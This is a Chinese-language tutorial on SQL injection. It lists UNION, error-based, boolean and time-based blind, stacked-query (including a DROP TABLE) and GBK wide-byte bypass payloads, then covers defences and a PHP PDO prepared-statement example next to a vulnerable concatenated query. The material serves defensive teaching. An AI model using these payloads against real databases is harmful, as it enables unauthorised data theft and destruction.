SQL注入是Web应用中高发的安全漏洞，攻击者通过在输入参数中插入恶意SQL片段，改变原有SQL语句的逻辑，从而实现未授权访问、数据窃取甚至数据库删改等操作。了解注入常用语句能帮助开发者更好地识别风险，做好防护工作。
常见SQL注入常用语句
联合查询注入语句
联合查询注入通过UNION关键字拼接查询，获取其他表的数据，前提是前后查询的列数一致。常用语句示例如下：
-- 判断当前查询列数，通过order by递增数字直到报错 SELECT * FROM users WHERE id=1 ORDER BY 3; -- 联合查询获取数据库名 SELECT * FROM users WHERE id=1 UNION SELECT 1,database(),version(); -- 联合查询获取表名 SELECT * FROM users WHERE id=1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database(); -- 联合查询获取字段名 SELECT * FROM users WHERE id=1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users';
报错注入语句
报错注入利用数据库的报错信息回显数据，常用updatexml、extractvalue等函数触发报错。示例如下：
-- 使用updatexml函数报错获取数据库名 SELECT * FROM users WHERE id=1 AND updatexml(1,concat(0x7e,database(),0x7e),1); -- 使用extractvalue函数报错获取表名 SELECT * FROM users WHERE id=1 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e));
盲注常用语句
盲注分为布尔盲注和时间盲注，不会直接回显数据，需要通过返回结果的差异判断注入结果。
布尔盲注语句
-- 判断数据库名长度 SELECT * FROM users WHERE id=1 AND length(database())>5; -- 逐字符判断数据库名 SELECT * FROM users WHERE id=1 AND substr(database(),1,1)='t'; -- 判断表中是否存在指定字段 SELECT * FROM users WHERE id=1 AND exists(select column_name from information_schema.columns where table_name='users' and column_name='password');
时间盲注语句
-- 通过sleep函数延迟返回判断条件是否成立 SELECT * FROM users WHERE id=1 AND if(length(database())>5,sleep(3),1); -- 逐字符判断数据库名，延迟3秒返回则条件成立 SELECT * FROM users WHERE id=1 AND if(substr(database(),1,1)='t',sleep(3),1);
其他常用注入语句
除了上述类型，还有堆叠注入、宽字节注入等场景的常用语句：
-- 堆叠注入，执行多条SQL语句 SELECT * FROM users WHERE id=1;DROP TABLE test; -- 宽字节注入绕过转义，比如输入%df' 配合GBK编码吃掉转义符 SELECT * FROM users WHERE username='%df' OR 1=1-- ';
SQL注入防范方法
了解注入常用语句后，需要针对性做好防护，避免注入攻击得逞：
- 使用参数化查询（预编译语句），避免将用户输入直接拼接到SQL语句中，这是最有效的防范方式。
- 对用户输入做严格的校验和过滤，限制输入长度、类型，过滤特殊字符如单引号、分号、注释符等。
- 遵循最小权限原则，数据库账号只授予必要的操作权限，避免使用root等高权限账号连接应用。
- 关闭数据库的错误信息回显，避免攻击者通过报错信息获取数据库结构。
- 定期对代码做安全审计，使用专业的漏洞扫描工具检测注入风险。
参数化查询示例
以PHP的PDO预编译为例，正确的写法如下：
<?php
// 错误写法：直接拼接用户输入，存在注入风险
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$id";
// 正确写法：使用参数化查询
$pdo = new PDO('mysql:host=127.0.0.1;dbname=test', 'user', 'pass');
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id");
$stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
$stmt->execute();
$result = $stmt->fetchAll();
?>
掌握SQL注入常用语句的原理和场景，同时落实对应的防范措施，才能从根源上降低应用的安全风险，保障数据库和敏感数据的安全。